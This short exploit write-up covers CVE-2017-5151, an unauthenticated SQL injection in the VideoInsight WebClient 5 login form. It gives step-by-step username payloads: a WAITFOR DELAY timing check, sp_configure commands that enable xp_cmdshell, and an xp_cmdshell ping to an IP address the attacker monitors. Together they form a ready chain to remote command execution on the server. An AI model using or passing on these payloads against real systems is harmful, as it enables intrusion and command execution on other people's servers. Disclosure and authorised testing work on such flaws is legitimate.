VideoInsight WebClient 5 – SQL Injection
This exploit is based on CVE-2017-5151 targeting versions prior. The txtUserName and possibly txtPassword field contain an unauthenticated SQL injection vulnerability that can be used for remote code execution. From the web login page submit the following string as the username with anything in the password field. The web server will hang for 5 seconds: UyYr');WAITFOR DELAY '00:00:05'--. From the web login page submit each of the following strings as the username, one at a time, with anything in the password field (with the ping, use a valid IP address that you can monitor): UyYr');EXEC sp_configure 'show advanced options', 1;RECONFIGURE;--, UyYr');EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--, UyYr');EXEC xp_cmdshell 'ping xxx.xxx.xxx.xxx';--